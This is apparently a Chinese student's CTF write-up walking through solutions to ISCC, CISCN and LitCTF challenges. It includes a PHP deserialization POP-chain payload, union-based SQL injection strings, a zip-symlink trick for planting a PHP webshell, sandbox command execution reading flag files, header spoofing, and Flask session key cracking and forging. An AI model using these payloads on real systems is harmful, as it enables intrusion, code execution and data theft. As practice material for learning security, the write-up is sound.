ISCC
羊了个羊
ctrl+shift+i查看源代码,接着查看vue.global.js文件,发现一段密文
再base64解密两次得到flag
Where_is_your_love
依旧是ctrl+shift+i查看源码
发现3个PHP文件路径,访问Download.php和Enc.php分别下载下来两个文件
再访问LoveStory.php,是一道反序列化题
然后先对这两个文件分析,letter.php文件是二进制文件并不能正常打开,再由.pem文件知道这是RSA加密的公匙。所以letter.php应该是被加密的内容
然后找个在线RSA公私钥分解网站用.pem文件分解出e和n,(也可以在虚拟机中用rsatool和opensll操作,具体教程)openssl rsa -pubin -text -modulus -in keyiscc.pem
模数(Modulus)就是n,指数(Exponent)就是e。
但还需要将模数转为十进制,再去在线网站分解出p和q
接着用RSAtool 生成私钥文件key.pem
1
| python rsatool.py -f PEM -o key.pem -p 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709 -q 147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967 -e 65537
|
Crypto中RSA常用工具及python库说明
最后,根据私钥解密(需要先将letter.php改成flag.enc)
1
| openssl rsautl -decrypt -inkey key.pem -in flag.enc -out letter.php
|
之后就解密出来了一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php function enc($data){ $str=""; $a=strrev(str_rot13($data)); for($i=0;$i<strlen($a);$i++){ $b=ord($a[$i])+10; $c=$b^100; $e=sprintf("%02x",$c); $str.=$e; } return $str; } ?>
|
发现是一个简单的加密脚本,
str_rot13()
函数将输入字符串进行 ROT13 编码(一种简单的字符替换加密方式,将每个字母替换成距离它13个字母之后的字母),然后使用strrev()
函数反转得到反向的字符串。
- 对于反向字符串中的每个字符,使用
ord()
函数获取其ASCII码,将其加上10,然后异或100(二进制下的异或运算),并使用sprintf()
函数将结果格式化为两位十六进制数。
- 将上一步中得到的十六进制数依次拼接起来,并返回最终的加密结果字符串。
逆推出解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
function dec($str){
$a="";
for($i=0;$i<strlen($str);$i+=2){
$c=hexdec(substr($str,$i,2))^100;
$b=$c-10;
$a.=chr($b);
}
return str_rot13(strrev($a));
}
$encrypted_str = "xxxx";
$decrypted_data = dec($encrypted_str);
echo $decrypted_data;
?>
|
这里”xxxx”是要解密的字符
接下来,那个反序列化输出的应该就是需要解密的字符了吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <? include("./xxxiscc.php"); class boy { public $like; public function __destruct() { echo "能请你喝杯奶茶吗? "; @$this->like->make_friends(); } public function __toString() { echo "拱火大法好 "; return $this->like->string; } }
class girl { private $boyname; public function __call($func, $args) { echo "我害羞羞 "; isset($this->boyname->name); } }
class helper { private $name; private $string; public function __construct($string) { $this->string = $string; } public function __isset($val) { echo "僚机上线 "; echo $this->name; } public function __get($name) { echo "僚机不懈努力 "; $var = $this->$name; $var[$name](); } } class love_story { public function love() { echo "爱情萌芽 "; array_walk($this, function($make, $colo){ echo "坠入爱河,给你爱的密码 "; if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") { global $flag; echo $flag; } }); } }
if (isset($_GET["iscc"])) { $a=unserialize($_GET['iscc']); } else { highlight_file(__FILE__); }
|
构造出payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <?php class boy { public $like; public function __destruct() { echo "能请你喝杯奶茶吗? "; @$this->like->make_friends(); } public function __toString() { echo "拱火大法好 "; return $this->like->string; } }
class girl { public $boyname; public function __call($func, $args) { echo "我害羞羞 "; isset($this->boyname->name); } }
class helper { public $name ; private $string;
function __construct($name, $string) { $this->name = $name; $this->string = $string; }
public function __isset($val) { echo "僚机上线 "; echo $this->name; }
public function __get($name) { echo "僚机不懈努力 "; $var = $this->$name; $var[$name](); } }
class love_story { public $fall_in_love = array(0 => 'girl_and_boy'); public function love() { echo "爱情萌芽 "; array_walk($this->love_story, function($make, $colo){ echo "坠入爱河,给你爱的密码 "; if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") { global $flag; echo $flag; } }); } }
$boy1 = new boy(); $girl = new girl(); $helper1 = new helper("",""); $boy2 = new boy(); $helper2 = new helper("", array("string" => [new love_story(), "love"]));
$boy1->like = $girl; $girl->boyname = $helper1; $helper1->name = $boy2; $boy2->like = $helper2;
echo urlencode(serialize($boy1));
|
根据代码和文字提示,思路还是很清晰的
destruct() -> call() -> isset() -> toString() ->get() -> love_story:love()
但还是遇到了点困难,私有类private不能直接赋值,然后我直接赋值写进类里面好像也不行(可能我没弄好),困扰了我一段时间
后来在csdn看到一篇文章提到:php7.2.10版本忽略共有私有
但题目的php版本是7.4.33,我试了一下发现也可以,将private改成public
还有就是__construct($name, $string)生成两个参数,构造时需要$helper1 = new helper(“”,””)像这样传入两个参数
接下来就是最后一步调用love方法了
在helper:__get()中,我们可以看到$var = $this->$name,这里$name是love_story,所以$var实际上就是$helper2,接下来**$var[$name]**就会调用$helper2的love_story属性的love()方法,所以我们只需要将love_story属性设置为一个数组,数组中包含一个love_story对象和love()方法即可。
最后就能输出flag
1
| e35a31342f241b3f17081ae75e042b5f155e38163d285826e41936125b5a075910e13e3e3404
|
将字符放到刚才的脚本运行,得到flag
好看的维吾尔族小姐姐
下载下来一个文件,用winhex打开,发现是png格式
保存为png照片,发现在window能正常打开,在linux虚拟机就会说损坏crc error,无法正常打开
猜测图片宽高被修改,网上抄个例子
(1). png的文件头:8个字节 89 50 4E 47 0D 0A 1A 0A 为 png的文件头(固定)
(2). 4个字节 00 00 00 0D (即为十进制的13)代表头部数据块的长度为13(固定)
(3). 4个字节 49 48 44 52 (即为ASCII码的IHDR)是文件头数据块的标示(IDCH)(固定)
(4). 13位数据块(IHDR)
前四个字节代表该图片的宽 00 00 00 08
后四个字节代表该图片的高 00 00 00 08
后五个字节依次为: Bit depth、ColorType、 Compression method、 Filter method、Interlace method
(可变)
(5). 剩余四字节为该png的CRC检验码 36 21 A3 B8,由从IDCH到THDR的十七位字节进行crc计算得到。(可变)
接着尝试对crc码进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import struct
crcbp = open("古力娜扎.png", "rb").read() crc32frombp = int(crcbp[29:33].hex(), 16) print(crc32frombp)
for i in range(4000): for j in range(4000): data = crcbp[12:16] + \ struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29] crc32 = binascii.crc32(data) & 0xffffffff if (crc32 == crc32frombp): print(i, j) print('hex:', hex(i), hex(j)) exit(0)
|
爆破出来后,在winhex修改宽高,并保存下来
各类二维码图像总结
发现是Data Matrix码,旋转得到正确格式
然后找了很多在线平台,都不能识别,于是在手机下了个条码超人就识别出来了
1
| ;521#&;33#&;101#&;011#&;111#&;001#&;801#&;801#&;101#&;911#&;59#&;611#&;501#&;59#&;611#&;111#&;301#&;59#&;711#&;111#&;121#&;321#&;76#&;76#&;38#&;37#&
|
发现格式跟Unicode编码很像,原来是字符串反过来了,于是反转一下字符串在线平台
然后unicode解密得到flag
CISCN
Web
ctfshow有题目,就用ctfshow复现一下吧
unzip
1 2 3 4 5
| <?php error_reporting(0); highlight_file(__FILE__); $finfo = finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); };
|
这道题当时没做出来 ,那时候发现/tmp目录不能查看,想的是将1.zip再压缩一次成为2.zip(里面包含一句话木马),然后上传
接着再上传名称为3.zip && unzip -d /var/www/html 2.zip
以为这样就能把文件解压到网站根目录下,然后能访问到木马,但是行不通
后来看学长wp发现要用软连接 (题目原题)
先创建一个指向/var/www/html的软链接:
然后再把它压缩,使用-y,这样在压缩的时候可以保存软链接:
然后在hey目录下面写个马,然后再把这个hey目录不带-y
的压缩:
1 2 3 4
| cd hey vim 1.php cd .. zip -r hey2.zip hey
|
然后先上传hey1.zip,再上传hey2.zip
这样就能在网站目录访问到1.php了
Misc
签到卡
利用python内置库os,用函数执行命令就可以了
1
| import os; print(os.open("cat /*f*").read())
|
这样也行:
1
| print(open('/flag').read())
|
被加密的生产流量
wireshark打开,过滤器仅查看modbus
再追踪tcp流
可以看到从MM到==这写字符,应该是被加密的密文,将他们组合起来
1
| MMYWMX3GNEYWOXZRGAYDA===
|
能看到结尾的3个=,尝试base32解密
pyshell
比赛结束了,ctfshow也还没上misc题,没地方复现了
限制了读入字符数,所以可以通过_+
拼接出完整的命令
再通过eval(_)执行
1 2 3
| 最后拼成: import os; os.open("cat /*f*").read() eval(_)
|
Crypto
基于国密SM2算法的
这个是队友做出来的,然后暂时没地方复现,就直接拿一下他的图吧
跟着题目提供的文档操作就可以了
去使用curl 去调用api获得分配的公钥私钥密文
再调用api check就得到flag了
Sign_in_passwd
这个有点可惜,第一天没想出来,第二天做出来了,结果交了没分
1 2
| j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
|
一开始没看出来是什么加密,想了好久都没思路
后来仔细一看,下面那行url解码后是65个字符
1
| GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
|
就想到了base64加密,于是换表base64
Litctf
都是一些简单的入门题,难度很友好
官方wp
导弹迷踪
审计源码,在js文件找到flag
PHP是世界上最好的语言!!
打开是一个有很多功能的网站,其中一个可以执行PHP代码
执行
我Flag呢?
查看源代码就得到flag了
1zjs
ctrl+shift+i查看源代码
访问 /f@k3f1ag.php
jsFuck加密
控制台直接输入就能解密得到flag了
Ping
在前端检测了,直接禁用js
然后直接ping就行了
Follow me and hack me
用hackbar传参
作业管理系统
要求账号密码,源代码给了admin:admin
然后上传木马
执行命令得到flag
Vim yyds
当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一到三次产生的交换文件名依次为为 .index.php.swp 、 .index.php.swo 、 .index.php.swn
访问/.index.php.swp路径,下载文件
打开发现:
Give_Me_Your_Flag
base64加密得到:R2l2ZV9NZV9Zb3VyX0ZsYWc=
再POST传参
1
| password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&&cmd=cat /*f*
|
Http pro max plus
打开就说只允许本地访问
构造X-Forwarded-For值为127.0.0.1
结果就是被嘲讽了
换client-ip就可以了
要求来自这个网站,改一下referer
然后要求用Chorme,改一下User-Agent
然后要求开代理,加个via
给了个路径,访问/wtfwtfwtfwtf.php
审计源码发现路径/sejishikong.php
访问得到flag
这是什么?SQL !注一下 !
1 2 3 4 5
| <?php
$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';
$result = $conn->query($sql);
|
已经给了sql查询代码,确实是多带了几个()
而已
接下来就是按流程来注入就可以了,并没有什么限制
1 2 3 4 5 6
| 1)))))) order by 1,2 1)))))) order by 1,2,3 1)))))) union select group_concat(schema_name),2 from information_schema.schemata 1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining' 1)))))) union select group_concat(column_name),2 from information_schema.columns where table_schema='ctftraining' 1)))))) union select 1,flag from ctftraining.flag
|
就当无事发生
给了个网址
1
| https://ProbiusOfficial.github.io
|
访问看了一下没啥线索
题目提示了:差点数据没脱敏就发出去了,还好还没来得及部署,重新再pull一次
去github搜索ProbiusOfficial
看它的提交,发现有一次有个❌,应该是没有来得及部署的那一个,点击看看
再点击load diff ,在里面发现了flag
Flag点击就送!
输入admin,回显你怎么可能是管理员呢,看来没那么简单
抓包看看
发现有个session
1
| session=eyJuYW1lIjoiMSJ9.ZHmyUw.B2DS9Una8POfQZx4ETBbPANMMTw
|
再发现采用flask框架,猜测可能是session伪造
flask框架的session是存储在客户端的,flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
使用 flask-unsign 爆破密匙
1
| flask-unsign --unsign --cookie "eyJuYW1lIjoiMSJ9.ZF_Bhw.mawKGPKlVL8_XkcZE2bcVHe6pOE" -w .\pass.txt --no-literal-eval
|
爆出密匙为LitCTF
1 2 3 4 5 6 7 8 9 10 11 12
| import requests import string import subprocess
SECRET_KEY = "LitCTF"
cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{\'name\': \'admin\'}', '--secret', SECRET_KEY])
cookie = {'session' : cmd_out.decode().rstrip()} response = requests.get('http://node2.anna.nssctf.cn:28955//flag', cookies=cookie)
print(response.text)
|
然后脚本跑一下就出flag了